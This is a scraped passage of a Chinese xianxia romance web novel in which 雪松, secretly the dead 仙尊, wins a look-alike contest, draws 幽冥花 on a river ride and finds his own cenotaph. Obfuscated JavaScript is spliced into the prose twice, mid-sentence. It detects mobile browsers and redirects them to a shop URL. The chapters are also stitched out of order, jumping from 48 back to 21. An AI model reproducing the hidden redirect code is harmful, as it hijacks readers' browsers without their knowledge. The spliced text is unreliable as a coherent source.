长青缓缓点了点头。
这里的鱼是鱼,其他地方的鱼也是鱼,能有多大的差别?其他地方根本尝都不尝,在这里就一口一口吃下去了,恐怕有差别的,不是鱼而是人吧?
因为当初和仙尊一起来吃这里的鱼,所以对这里的鱼很有好感,才能吃下去,是这样吧?
能吃下这里的鱼,完全是因为仙尊吧?和鱼本身关系不大吧?吃的不是鱼,是关于仙尊的回忆吧?
因为吃掉这里的鱼可以回忆起仙尊,就好像仙尊在身边一起吃鱼一样,所以才能吞掉自己本来不喜欢的鱼吗?可恶!居然能为仙尊改变自己到这个地步吗?
“你也吃啊?”雪松察觉到他一直盯着自己,实在有点奇怪,因此对他说。
长青点了点头,一边回忆着雪松刚才的样子,打开了包装,一边把鱼送入口中,撕咬下了一块,咀嚼起来。
他打开包装的手法完全没有雪松熟练,因此包装稍稍有些损坏,虽然大体上并没有问题,但是细节上,一看就没有雪松拆开的包装更干净。
他不由得再次感慨,究竟要吃多少次才能练出什么熟练的手法?莫不是仙尊以为雪松喜欢这鱼,就天天买来吃吧?以仙尊的性格,倒也不是不可能。听起来感情更好了。
长青磨了磨牙,再次咬了一口下去。
他昨天在外面看见旅店不远处,好像正在举行什么活动,也许活动可以分散雪松对仙尊的注意力,他得把雪松带过去试试。
长青把雪松带到了活动现场,发现这是个仙尊扮演活动,顿时暗自后悔自己来之前居然没有细看,想要把雪松拉走。
但是雪松看了活动,觉得挺有意思的,想要参加,把他拉住了,对他说:“我想试试,你在这等会儿?你把我拉过来,自己先走算怎么回事儿?”
长青犹犹豫豫问:“你真要参加?”
雪松一脸肯定的表情,点了点头:“我想试试。”他自己就是仙尊,模仿自己的活动,他参加参加怎么了?说不定能拿第一呢!
他说着往旁边的活动板子上看了看,发现活动第一名的奖励是,免费双人河流峡谷小舟漂流票,看起来很有意思的样子。
“赢了奖励,你跟我一起去玩怎么样?正好是双人票呢!”雪松眨巴眨巴眼睛望着长青。
长青在心里叹了一口气:“那好吧。”
只是模仿一下仙尊,应该不会出什么事吧?
雪松上台去,在一众使用伪装术把自己变成仙尊模样的参选者中,看起来并无特别之处。
但轮到他表演的时候,他只是往前走了几步,曾经见过仙尊的活动评委就已经目瞪口呆,忍不住站了起来,仔仔细细盯着看:“根本是仙尊在世!一点伪装术的痕迹都没有!”
47.第 47 章
评委想了想,对雪松说:“你能表演一下,仙尊舞剑的神态吗?”
这个十分简单,雪松舞了两下,评委决定把第一名颁给他,不过暂时没有提,只是让他等一等,问后面还有没有参赛者。
在所有参赛者比赛结束之后,一切毫无悬念,第一名被评委颁给了雪松,雪松拿了那两张票,就下了台向长青走去。
“你要跟我一起去吗?”雪松拿着票看了看时间,向长青问。拿都拿了,他是想去的,反正也不要钱。
“好啊。”长青略一考虑,点了点头。
二人便拿着票去了漂流地点,这里同样在举办活动,而且和之前的活动是联动的,只不过,有所不同的是,这里的活动是找人扮演仙尊,为来游玩的客人,提供娱乐体验。
雪松虽然没有刻意装扮出仙尊的气质,甚至在见到这里遍地都是和自己一模一样的脸的时候,下意识对自己的姿态和这些人进行了区别,在细节上拉开了一点差距。
但其他客人看见他的时候,还是不由自主把目光落在他的身上,久久不能回过神来,甚至转而对同伴说:“虽然那个和其他的扮演者不太像,但是我觉得,他反而更像仙尊一些?”
活动的组织者听说这里有一个客人和仙尊一样,但似乎并没有伪装术,赶了过来,在人群中左右一望,立刻发现了雪松。
当时雪松已经为了避开其他客人的好奇追踪,而和长青一起,检了票,登上了工作人员拖过来的一艘双人小舟。
工作人员在确认安全设施无误之后对他们挥手,嘱咐说:“请准备好,马上就要开始了,刚开始的时候速度会比较慢,但经过一段时间的颠簸之后,就会逐渐加快,不过,我们这里是很安全的,不用担心。”
雪松和长青点了点头,那艘双人小舟就嗖的一下开了出去,经过一片灼灼其华的桃夭之林,刷的一声进入了漆黑的隧道。
隧道在他们进入之后,亮起了点点微光,雪松定睛一看,原来是洞穴的两边,生长着密密麻麻的爬行植物,这些植物清幽飘忽,随风轻轻浮动,十分美丽,把整个洞穴都映照得如同一个幽蓝色的秘密基地,随着他们的小舟经过,那些星星点点的萤火虫一般的幽蓝色小花,在半空中飘舞着,在水花溅起的时候,像是不由自主被吸引,靠近了雪松。
小舟飞出洞穴的一瞬间,那些幽蓝色的小花像是瞬间被漩涡裹挟了,全都粘在了雪松的身上,就好像雪松刚才不是过了一个洞穴,而是沾满了鲜花的草丛。
在明亮的天光下,这些小花仍然十分倔强幽幽亮着,既不过分耀眼,又不销声匿迹,以至于雪松在旁人眼里,像在花堆里打了个滚出来的,整个人都仿佛散着一股幽冥般清幽凉爽的鲜花的香气。
唯有站在高处俯瞰漂流路线的组织者见此情形,大为惊讶。
他倒吸了一口凉气,瞪大了眼睛,一时无法言语,整个人讷讷无声,像是被谁封住了唇舌,只从喉咙里发出得得的响,仿佛有人在他嗓子里扣打字机的键盘,又抠不出来。
旁边的员工担心他的身体,靠近他,担忧望着他问:“需要去休息吗?旁边有个凳子可以坐。”
他缓缓摇了摇头,逐渐从那种极致的震撼中走出来,双眼发直,拉住了员工,十分迫切,需要找人倾诉一下,用一种好像刚刚把舌头捋直的声音说:“你知道那位看起来像仙尊的客人身上的花是什么花吗?”
员工经过培训才上岗的,不是不知道,只不过知道的不多,因此眨了眨眼睛,为了确认重新看了又看,一脸迷茫回答道:“幽冥花?”
“对呀,”组织者重重点了点头,一脸见到了此生从未有过的景象的感慨道,“但你一定不知道,这幽冥花是怎么种出来的吧?”
员工感到了疑惑,微微歪了歪头,他确实不知道这个,不过,同样不知道组织者现在提起这个是什么意思:“说也奇怪,我从前隐约听人提起过幽冥花,假如要种植,必得到碧落黄泉附近,否则花是要枯萎的。
要是不在碧落黄泉,还要种这种花,就得用人肉人血来炮制土壤,培育肥料,阴暗不见光的环境,虽然美丽,但是伤天害理,所以一般都没有,这里是怎么种出来的?倒没怎么听人提起过。”
组织者深吸一口气,缓缓开口道:“你说的都对,不过,这里既不是碧落黄泉,也没有伤天害理的法子,更没有暗无天日的环境。
那些幽冥花之所以能够在这儿长出来,不过是因为当初有魔族恰好带了幽冥花的种子,想要在这里种植,在附近好一顿闹腾,搞得腥风血雨的,大家都不得安宁,没有办法,去请仙尊帮忙。
仙尊应允而来,收拾了那个魔族,至于那颗种子,一开始是下落不明的,后来,有人找到了那颗种子,发现那种子已经生根发芽,但附近并无尸体。”
员工几乎听得入神,好奇问:“那究竟是怎么长的?”
“那颗种子之所以可以发芽,是因为得到了仙尊留下来的剑气庇佑,隔绝了周遭的环境,很不可思议吧?我们一开始也不相信,”组织者一脸回忆道,“就用仙尊遗留下来的剑气,培育了那颗种子,发现那颗种子居然真的开始生根开花,我们才意识到这是真的。”
员工若有所思:“这么说,那个洞穴就是当初仙尊和携带了种子的魔族交战的地方?”
“对,”组织者点了点头,“正因如此,那里遗留了更多的剑气,我们好好保存了,把已经培育好的种子和花都移了过去,事情和我们料想的一样,幽冥花在那里,一朵一朵盛开。”
员工才发觉好像有什么不对,疑惑道:“可是从前并没出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741293|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现过幽冥花向某个客人靠近的情况,就连我们去也没什么异常,今天这是怎么了?难道是因为那个客人像仙尊?可这里这么多像仙尊的人,幽冥花也并没有靠近啊?”
组织者点了点头:“从前确实没有出现过,至少我来到这里之后,是从来没有看见过这样的景象的。
至于原因,应该不是长得像仙尊的缘故,因为,这里用伪装术而长得像仙尊的人多了,可是并没有一个人能引起这样的波动,由此可见,和外貌没有关系。”
他沉吟了一番,若有所思,缓缓道:“我还记得,当初那个把花带到这里想要种下去的魔族,临死前说,他想要把这花献给他的爱人,想必他是专门在那颗种子里种下了求爱的咒语,而那些花受仙尊的气息庇佑,应该算是仙尊种出来的,那即使会有所动向,也应该是仙尊的心之所向——”
员工倒吸一口凉气,大惊失色,感觉自己被一个从天而降的大瓜砸懵了,双眼发直,几乎有些站不稳,喃喃问道:“您的意思是,那位被幽冥花所缠绕追逐的,拿了免费双人票过来体验的客人,是仙尊的爱人?!”
他说完这话,几乎担心有天雷从空中落下,猛然间抬了一下头,发现天空还是洁白,松了一口气,但还是既兴奋又疑惑又紧张,压低了声音,怕被人听见就打死似的,细若蚊喃道:“仙尊当初清清白白一个人,简直孤身到死,从来没有谁听说过他的什么绯闻,如今他已经死了,到冒出来一个爱人?这太不可思议了!”
员工小心翼翼问:“会不会是我们误会了?”
组织者缓缓摇了摇头,一脸肯定,斩钉截铁说:“不会有错的,幽冥花的来历,幽冥花的长成,幽冥花所得的庇佑,我都清清楚楚,那个客人除了是仙尊的爱人,没有别的可能!因为如果是别人,经过那里根本不会有这样的情况。你不是也知道吗?从前可没有别人,做得到这种事。”
员工若有所思,点了点头:“这倒也是,看他的年纪,他不可能知道幽冥花的来历,从前也没有人弄出过这样的情况,他要是故意的,我都要佩服他了。”
“那我们是不是应该送他点什么?就让他这样空手来空手走吗?他毕竟是仙尊的爱人,也许来这里是有什么事?”另外一个站在旁边的员工竖起耳朵,早把全程都听见了,忍不住在这个时候偷偷凑过来问。
组织者看了他一眼,沉吟了一会儿:“你说的也有道理,那么多的幽冥花,毕竟是拜仙尊所赐,仙尊的爱人来了,我们要是无所表示,岂不是太吝啬了?
我隐约记得,安宁广场那边,我们是不是做了一个仙尊的衣冠冢?送他一张安宁广场所有娱乐项目免费一日游的门票好了!他不一定知道那里有仙尊的衣冠冢,但拿了门票也许会去。”
雪松从停下的双人小舟走了出来。
48.第 48 章
长青跟在雪松后面,从虽然已经停下,但仍然在随着水流缓缓摇晃的双人小舟上,走了下来。
雪松扶了他一把,他站在了雪松旁边。
工作人员带着安宁广场免费一日游门票,向雪松走了过去,一边把门票递给他,一边面带微笑对他说:“恭喜您,作为本漂流项目第一个获得幽冥花追随的游客,我们决定向您赠送安宁广场免费一日游门票,请收下。”
雪松看了看门票,门票上写着可免费附带一人,他若有所思,点了点头,把门票收下:“谢谢!”
“请您有空务必去安宁广场看看,”工作人员点了点头微笑道,“那么我告辞了。”
他说完转身离开,迫不及待回去复命。
暗中观察雪松的魔族们面面相觑,觉得这是一个好机会,趁着漂流峡谷项目,又是水声,又是游客的欢呼声,又是工作人员走来走去的脚步声,环境十分嘈杂,掏出了早就准备好的小鼓,砰砰砰敲了起来。
雪松虽然听见了那鼓声,觉得有点奇怪,还似乎有些耳熟,但左右看了看并没看见谁在敲鼓,迟疑了一下。
长青问他:“你在看什么?”
雪松回答:“好像有人敲鼓。”
长青摆了摆手,不以为意,一边往外走一边说:“也许是附近的敲鼓活动,这里的活动可多了,不是吗?”
雪松点了点头:“这倒也是。”
暗中的魔族们见小鼓没有用处,还差点被发现,连忙停止敲击收了起来,躲了一阵子,没有看见雪松和长青跑个回马枪,松了一口气,立刻到安全的地方去,联系长老了。
“长老长老我们用了小鼓,但是小鼓一点用处都没有!”魔族皱着眉头,一脸焦急惊慌,对长老说。
“稍安勿躁,”长老想了想说,“既然玲珑小鼓没有用处,想必那个人偶身上的魔尊的印记已经被仙尊洗除了,这也难怪,仙尊本来就喜欢多管闲事,又遇上一个从魔尊手里得来的和自己长得一模一样的人偶,怎么可能不仔细检查?稍微一查查出印记来,会清理也正常。”
魔族大吃一惊:“那个人偶居然对仙尊如此重要吗?仙尊竟然肯亲自洗刷他身上魔尊留下的印记?而不对他有任何迁怒或厌恶?他们感情之深到如此地步?!”
长老嗤笑一声:“也未必有多重要,说不定只是想在这方面压魔尊一头罢了。仙尊和魔尊针锋相对也不是一天两天的事。”
魔族们将信将疑点了点头,又把今天的事说了:“说来奇怪,那个人偶去漂流的时候,途经一个洞穴,浑身上下是沾满了幽冥花才出来的,幽冥花不是只有我们那儿才长吗?”
长老脸色一变,若有所思喃喃道:“竟然有幽冥花追随他?!这可不是小事。当初魔尊最爱的就是幽冥花——”
魔族们挠了挠头:“这和魔尊有什么关系吗?难道是魔尊为了那个人偶,才在外面种植了幽冥花,花种却被东海的鲛人窃去,种在了那漂流峡谷,所以那些幽冥花一遇到人偶,就迫不及待飞过去了?”
“恐怕是。”长老缓缓点了点头,一脸凝重道:“起初还以为他不过是个被魔尊随便玩玩的人偶,现在看来,只怕魔尊是被横刀夺爱的那个!”
魔族们倒吸一口凉气,大惊失色:“仙尊竟然在魔尊与人偶情浓意浓之时强抢吗?他还做过这种事?他竟然做得出来?那个人偶有多大的魅力?!他难道不怕这事被人知道之后,他就得被千夫所指吗?!”
长老嗤笑一声:“他有什么可怕的?他那么强,地位又那么高,已经是仙尊了,别人就算对他有意见也不敢明说,更何况,他们不是最爱道貌岸然的伪君子吗?说不定事情爆出来之后,反而有一大批的人觉得他真性情,于是迫不及待追随他呢。”
“那我们要不要把这事捅出去呢?”魔族们考虑着问。
长老想了想说:“这种事要找一个合适的时机,否则,要是没有足够的证据,我们只会被认为是泼脏水罢了。”
“我们明白了,一定暂时按兵不动,等到合适的时机再出手。”魔族们连连点头。
次日,雪松拿着票和长青一起去了安宁广场,安宁广场是可以随便逛的,只不过游玩项目需要门票而已。
长青遇到了一个小游戏,停下来打算玩一玩再走,雪松想先散散步,就和他分开了,红色鸟扑扇了一下翅膀,停在了他的肩膀上。
雪松绕着广场转了一圈,忽然发现不远处,有一条安静的通道,入口没什么人的样子,想一想自己还没进去过,就顺着那条路往里走,直到看见里面一堆的墓碑,停下了脚步。
他觉得他应该转身离开了,但不知为什么,他觉得那一堆的墓碑中,有一个和他有隐隐约约的联系,他犹豫了一下,还是走了过去。
他看见了自己的衣冠冢,并且站在了那块墓碑面前,他能感觉到,这底下有一颗珍珠,是他曾经来这东海海底的时候,在沙子里捡到的,附近一个人也没有,他看那颗珍珠不错,就揣进兜里了。
后来离开的时候发现没有了,也不知道掉哪了,反正只是一颗珍珠,没有回去找,也就算了。
原来珍珠被放在这里了,估计是他和魔族战斗的时候,那颗珍珠不小心掉出去了,被人捡到了,后来做衣冠冢,干脆给他埋了。
想想还有点好笑。雪松面带回忆之色,目光温和,眉眼弯弯伸出手去,摸了摸近在咫尺的墓碑。
墓碑很干净,应该是经常有人打扫,用海底特有的石头做的,触手光滑温润,能感觉到是不错的材料。
他忽然察觉这墓碑有微微的晃动,像是底下有什么东西,眉头一皱,用了一个土滚术,把底下的人逼了出来,定睛一看,还是个熟人——
之前他在旅店房间休息的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750181|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时候站在他床边的那个。
“居然是你?!”对面比他还要惊讶,瞪大了眼睛,咬牙切齿道。
“怎么不能是我?”雪松有些疑惑。
“平时这里根本没有人来的!”对面皱着眉头,恨不得呸一声似的,回答道。
“所以你就在这儿,”雪松把他上下打量一番,又看了看他跳出来时制造的那个不远处的洞,像拿着一杯咖啡在下午茶时间看着菜地里跳出来的兔子一样,“偷东西?”
“什么叫偷东西?说话真难听!”对面大声道:“我祖上曾经和仙尊学过一招半式,四舍五入就是仙尊的徒弟,那仙尊的东西当然应该由我来保管,这才名正言顺,不过是物归原主!”
“物归原主?”雪松挑了挑眉:“负责看管和组织安宁广场的鲛人们同意吗?这东西本来就是他们放进去的吧?
就算这东西曾经是你的祖先上交的,现在也不属于你,更何况,你祖先都上交了,就不算你家的了,跟你又有什么关系?”
他顿了顿,压根没想起来自己什么时候教过什么徒弟,神色有些诡异问:“你祖先什么时候和仙尊学过一招半式了?根本从没听说过!假的吧?”
“没听说过,是你孤陋寡闻!我有证据!”对面像是突然被刺激到,面红耳赤,跳了起来,抓出一缕气息说:“这是当年我祖先和仙尊接触的时候,留下的仙尊的气息!这足以证明!”
雪松随手一招,那缕气息就乖乖向他飞了过来,他拿着那气息把手一握,那气息就瞬间烟消云散了。
对面愣了一下,猛然间瞪大了眼睛,目眦欲裂喊道:“这不可能!你怎么可以控制仙尊的气息?你是仙尊的道侣?怪不得你会仙尊的招式!一定是仙尊亲自教的!凭什么?”
对面发疯似的掏出一个圆球,猛然往地上一砸喊道:“婆娑幻境!”
一阵白烟升腾而起,把砸圆球的那个人和雪松一口都吞了进去。
在其他地方察觉到这里似乎有异常剧烈波动的,维护安宁广场秩序的工作人员刚刚赶到附近,只来得及看见白烟逐渐弥漫消失,不由得大惊失色。
“我刚才好像听见那个捣乱的人在喊什么婆娑幻境,你们听见了吗?”
“听见了,婆娑幻境是一种非常歹毒的,和魔族有关的幻境,会让中幻境者在幻境中遇到自己最爱的人的形象,被引诱之后,自愿赴死,当年被魔族拿出来害了好大一批人,还是仙尊出面才平定下来,如果真是婆娑幻境,那可糟糕了。”
“仙尊没留下什么解决的办法吗?要是被困进去的,真是仙尊的道侣,因为那个不知哪冒出来的人,死在我们这儿,那事儿可大!”
“仙尊用的是一力破万法,我们用不了,但他也考虑到我们不能像他那样解决问题,”一个白胡子老头若有所思说,“给我们留了一个,更委婉安全的办法——”
20-30
第21章
前世姻缘镜, 在琉璃庙的更深处,雪松和长青顺着人群稀少的道路往前走去,停在了后院, 一个和尚站在后院的门口。
他看见了二人, 转着手里的念珠,喃喃道:“阿弥陀佛。”
二人正要从他身边经过, 他忽然伸出一条手臂把人拦住了, 二人看向他,他问:“二位施主, 是来看前世姻缘镜的?”
二人点了点头,和尚看向了雪松, 皱了皱眉, 闭上眼睛念了一句阿弥陀佛, 转着念珠劝他们:“施主还是不要进去。”
“为什么?”雪松皱着眉头问。
和尚像是一个有点头疼的老师, 面对不开窍的学生,叹着气说:“宿命姻缘未必是好事, 前事已毕, 后事未已,若不看这一眼,一切还有转机,若看了这一眼,前尘既定,姻缘无解, 恐怕后悔啊。”
雪松的眉头皱得更紧了一些,想不出来自己哪有前尘,又想不出来自己哪来的姻缘,也不知道究竟能后悔些什么。
难道后悔会被长青误解吗?就算不进去长青也会误解的, 还不如进去看看,好歹知道究竟是从什么地方误解的,总比一无所知好。
雪松的眉头缓缓松开,对和尚说:“多谢大师提醒,但我还是想进去看看,请让我进去。”
和尚摇了摇头,无可奈何,往旁边让开了,喃喃道:“求不得,解不得,世间事诸多烦恼,就在这求而不得上啊!世人该放下烦恼,寻求解脱才是。”
雪松摇了摇头,从和尚身边经过往里走去,进入了后院,长青也跟着进去了,他虽然也搞不清楚和尚说的话究竟是什么意思,但一想到仙尊和雪松之间错综复杂的关系,忽然就明白了一点。
如果这和尚看得出来雪松和仙尊曾经有缘,那多半也看得出来,他们此行的目的,自然也会知道,他们会在镜子里看见什么。
所以,才劝他们不要看吧?可是,不看看怎么知道,究竟如何后悔?长青往身后看了一眼,和尚已经重新站在之前的位置,闭上眼睛,如同没有人来过一样,显然不会再对他们说些什么了。
长青转过头来,看见了不远处的那面镜子,那是一面铜镜,周围缭绕着复杂的美丽的花纹,镜面如雾般模糊,可一旦有人上前去,把自己映照在里面,那镜面就如拨云见日,陡然间亮了起来,随后显出画面。
雪松走上前去,照了照镜子,那镜子在他眼前一亮,随后显出一片雪白,是一座高峰,上面正有一个白衣人在练剑,练完最后一式,那人收剑回身,向不远处的洞府走去。
雪松松了一口气,看来他果然没有姻缘,只有前世,所以这镜子照出了他的前世,照不出他的姻缘,倒也挺值得高兴的。
他在转瞬间轻轻笑了一下。
长青同样看见了镜子里的内容,随后把目光移向雪松,看见了雪松脸上那转瞬即逝的笑容,面不改色调整了一下胸前的徽章。
长老有一点担心他:“镜子映照出仙尊,可见他们二人确有姻缘,你还是不要执迷不悟了吧?”
长青笑了起来:“只是看见了仙尊就那么高兴吗?他明明一直在否认仙尊和他有关系的,这算什么宿世姻缘?这分明是孽缘!”
长老沉默了,虽然觉得他说的有道理,但同时也觉得仙尊和雪松是不可拆分的一对,忍不住叹了一口气:“我觉得那和尚说的挺有道理的,求而不得,苦痛颇多,与其执着,不如放下,你真听不明白?”
长青冷笑一声:“我听得明白,这话分明就是,让雪松不要执着于仙尊,再明白也没有了!要论执着,我的执着可没有雪松多。”
长老觉得这话也有道理,想了一阵子说:“可见情字害人,连仙尊也不例外,谁落进去,谁就逃不脱。”
雪松照完了镜子,把长青推过去:“既然来了,你也看一看,可不能白来。”
长青蠕动了一下嘴唇,想要拒绝,但已经站在了镜子面前,便把话吞了回去,看向镜中。
镜中是一棵高大的桃花树,树下一个面目模糊的人正在舞剑,一阵风吹过,树叶微微晃动,桃花纷纷而落,一切美好犹如梦境。
他心中猛然一惊,不敢再看,连忙挪开了目光,往后退了两三步,仿佛远离利剑一般,远离了那面窥视人心的镜子。
雪松认得桃花树,可那棵桃花树太大了,不像他见过的,雪松也舞过剑,但里面那个人面目模糊,他站得又远,更看不清楚,甚至一时也不敢分清男女,犹豫了一下,就看见长青连连后退,镜中的一切烟消云散,也没什么可看的了。
“你脸色怎么有些发白,额头还出了汗?”雪松向长青疑惑问。
“或许是来的路上有些热吧,”长青微笑了一下,擦了擦额头的汗,若无其事说,“镜子已经看过了,可以走了,我们出去吧?这地方呆着怪闷的。”
雪松往周围看了看,院子四面开阔,连顶都没有,最闷的地方也就是镜子面前,毕竟,那面镜子不好经受风吹雨打的。
但长青不是已经退出来了吗?怎么还会闷呢?
虽然觉得疑惑,但雪松并没多问,因为能感觉到长青想要迅速离开的意愿,就点了点头,顺着他说:“走吧。”
长青匆匆离开,雪松走在他后面,和尚在他们走后,睁眼看了他们的背影,摇了摇头,喃喃道:“一切有为法,如梦幻泡影。”
随后,和尚又闭着眼睛念了一句阿弥陀佛。
雪松和长青离开琉璃庙之后,在街上闲逛起来,长青想要忘记之前的事,雪松想要让长青不再关注自己镜中的画面,二人不约而同,没有再提寺庙和镜子的事。
长青走了一段路,情绪平静了很多,随手买了两个包子,分给雪松一个,自己吃了一个,向雪松问:“用不了多久,就是宗门举办新生弟子大比的日子,你知道吗?”
雪松接过包子咬了一口,想了想,点了点头:“知道,怎么了?”
“那你参加吗?”长青转头看他问。
“应该会参加,”雪松回忆着从前的宗门新生大比前三名的奖励,忍不住笑道,“听说大比前三名的奖励不错,我也凑凑热闹。”
长青若有所思,点了点头说:“距离大比还有一些日子,想要参加的弟子应该会努力修炼,尽可能寻找加持自己能力的装备和丹药,还有符咒和武器,你有什么要准备的吗?”
雪松想起自己吞过的那一墙的丹药,再想到房间里用过的储存着剑意的珍珠,又想起自己从媚娘手里拿到的那把剑,摇了摇头:“我没什么要准备的。”
“你倒是很有信心。”长青注视着他,仿佛见到了从前的刚入门的仙尊,神色复杂,喃喃道。
“凑个热闹罢了,”雪松耸了耸肩笑了笑,“要什么信心?”
长青缓缓挪开目光,点了点头,微笑了一下:“这倒也是。”
雪松回到宗门之后看了一眼时间,距离宗门大比,还有一些日子,足够他再完成一个任务的,他想起另外一件要取的东西。
那东西在刺猬村,他去任务处领了一个任务地点在刺猬村的任务,和他一起执行任务的是另外一个新生弟子,白刺猬。
白刺猬见到他,对他笑了笑:“我家就在刺猬村,这次领这个任务是想顺便回去,看看爹娘,你呢?”
雪松不想冷场,笑了一下说:“我有一个朋友放了东西在那儿,等我去取,我完成了任务,顺便去拿。”
白刺猬笑着点了点头:“原来如此,你和朋友的关系一定很好,真叫人羡慕。”
雪松不想再谈,冷着脸回答:“不用羡慕,他已经死了。”
“我不知道,”白刺猬愣了一下,“我不是故意要叫你想起伤心事的。”
“没关系,”雪松面无表情说,“他死了很久了,我一点也不伤心了。”
白刺猬将信将疑点了点头,不过之后都没有再说什么,一路上保持了安静,二人抵达了刺猬村。
他们这次的任务是,除掉刺猬村附近山上,蜘蛛洞里的大蜘蛛精,蜘蛛精已经有一半化成了人形,正在吞食一具人类的尸体。
二人打断了蜘蛛精的进食,蜘蛛精勃然大怒,向他们发起了攻击,攻击中突然看见了雪松的脸,猛然一惊,忍不住喊道:“仙尊?你不是死了吗?你怎么回来了?这不可能!”
雪松冷笑道:“仙尊?我可不是他!”
站在旁边拿着剑的白刺猬没见过仙尊,看见雪松脸上的冷笑,不由得有些恍惚,因为他想到了来之前的路上,雪松就是这么笑的。
那个时候他们在谈什么?
雪松有一个死去了的朋友。
仙尊也已经死去。
仙尊就是雪松那个朋友?
雪松提到仙尊和提到朋友时的表情,根本一模一样!他们居然是朋友?白刺猬大为震惊。
第22章
蜘蛛精听见对面不是仙尊, 顿时来了勇气,冷笑道:“无名小辈!竟敢装神弄鬼?看我不把你大卸八块!今天我就不做蜘蛛!”
话虽如此说,这蜘蛛精还是柿子挑软的捏, 一下子冲向了雪松旁边的白刺猬, 张口吐了丝,眨眼间, 白刺猬就被裹成了一个茧, 挣扎着一时没了声音,在原地晃了晃, 就定住了。
雪松冷笑一声,一剑砍了过去, 只见一道惨白的剑光, 突然在洞穴中闪烁起来, 眨眼间飞向了蜘蛛精。
蜘蛛精惨叫了一声, 被剑光劈成了两半,正想挥动长腿逃跑, 雪松的剑, 已经落在了蜘蛛的身上。
蜘蛛又惨叫了一声,躺在地上抽搐了一阵子,流出了许多的血,渐渐不动了,雪松劈开了旁边蜘蛛丝裹成的茧,把白刺猬从里面拽出来。
白刺猬躺在地上喘了两口气, 猛然间惊醒,脸上通红一片,四肢颤抖着爬起来,双眼发直, 一副劫后余生的样子,喃喃道:“谢谢!要不是你,我可能就死在里面了,那蜘蛛真狡猾!”
雪松往里走去:“不用客气。”
白刺猬因为刚才的事有些害怕,连忙拦住了他:“既然已经完成了任务,还往里面走干什么呢?万一有什么陷阱,岂不危险?”
雪松回答:“这蜘蛛待在这里,这么大一个洞穴,说不定藏了什么宝贝,既然已经处理了蜘蛛,怎么能不带走宝贝呢?”
他说着往前走去:“就算有陷阱,也没关系,一并处理了,免得以后有人误入此洞,不小心跌入陷阱,反而造成伤亡,还得再派人来处理一次,那就不好了。”
白刺猬连忙跟了上去:“还是你考虑周到,那我也和你一起吧,反正都已经来了,还是处理干净再走比较好,不然倒霉的总归是村子里的人。”
雪松点了点头:“随你。”
二人往里走去,遇到了一堆晶莹圆润比人头还大的蜘蛛卵,表面上缠绕着一层一层的丝线,里面是蠕动的,还在孵化的小蜘蛛,已经可以隔着丝线看见里面,漆黑色的挣扎的眼睛。
雪松抬起剑来,把这些蜘蛛卵全都处理掉了,一道剑光闪过,蜘蛛卵化为灰烬,地面瞬间移平,雪松继续往里走去。
白刺猬在旁边叹为观止。
这样厉害的剑招,这样厉害的人,要说和仙尊毫无关系,现在倒是有点让人不敢相信了,虽然从没听说过仙尊收徒,但也许是私底下交好,所以得了几招传授,这也不奇怪。
雪松找到了一个箱子,打开一看,里面是他要找的东西,就把东西拿了出来,在手上抖了抖。
白刺猬看见那东西还有些惊讶:“这软猬甲很衬你,大小正合适,要不是我亲眼看见你从箱子里拿出来,我还以为是为你量身定做的呢!”
雪松冷笑起来:“这就是我的东西!”
白刺猬瞪大眼睛:“你怎么认出来的?”
雪松把软猬甲丢回箱子里,盖上盖子,念了一声:“过来!”
那软胃甲砰的一声撞开盖子,就向着他冲了过去,停在了他面前,他把手伸出去,软猬甲落在他手上,好像一只软绵绵的小狗,乖巧安静极了。
白刺猬忍不住有些好奇,靠近看了看那软猬甲问:“你怎么做到的?”
“很简单,”雪松对他解释,“这上面有我的灵魂印记,这说明,东西本来就是我的,自然我一喊,就来了。”
“怎么能把灵魂印记弄到东西上面去呢?”白刺猬歪了歪头。
“要么在制作的时候,就把印记打上去,”雪松丢了一个清洁术,把软猬甲穿在身上,回答道,“要么在拿到手之后,让这东西认自己为主,灵魂印记就上去了。”
白刺猬绕着他转了一圈,感慨道:“好合身啊!”感慨完之后,白刺猬顿了顿,忽然发现软猬甲上,有一根细腻洁白的丝线。
他定睛一看,大吃一惊:“这不是刺猬村后山森林里,精灵树上的蜘蛛丝吗?据说那里有一只大蜘蛛,是年纪很大成了精的,平时住在树上吐丝,若有人靠近就躲起来,若有人要拿走蜘蛛丝,就现出身形来考验,只有通过考验的人,才能拿到蜘蛛丝。”
白刺猬说到这里,忽然停了下来,脸色变得有点古怪。他记得那只蜘蛛考验取蜘蛛丝的人,通常是看那个人有没有一见钟情。
如果那个人曾经一见钟情,蜘蛛会把蜘蛛丝交给他,如果那个人不曾一见钟情,蜘蛛就会把蜘蛛丝都收起来,躲到谁也找不到的地方去,直到周围安静下来,才会慢慢重新出现。
因此,刺猬村的人们,又把从那只大蜘蛛那里得到的蜘蛛丝叫做,一见钟情丝,由此衍生出了一种习俗,谁要是从蜘蛛那里得到了蛛丝,送了出去,送给谁,就等于对谁说,我对你一见钟情,因此,刺猬村的人都很会用那只蜘蛛的蜘蛛丝来做东西。
按照已知的信息,软猬甲是雪松的朋友送给雪松的,雪松的朋友是仙尊,所以软猬甲是仙尊送给雪松的。
软猬甲上有精灵树的蜘蛛丝,精灵树的蜘蛛丝代表一见钟情,仙尊把有蜘蛛丝的软猬甲送给雪松,等于仙尊对雪松一见钟情?
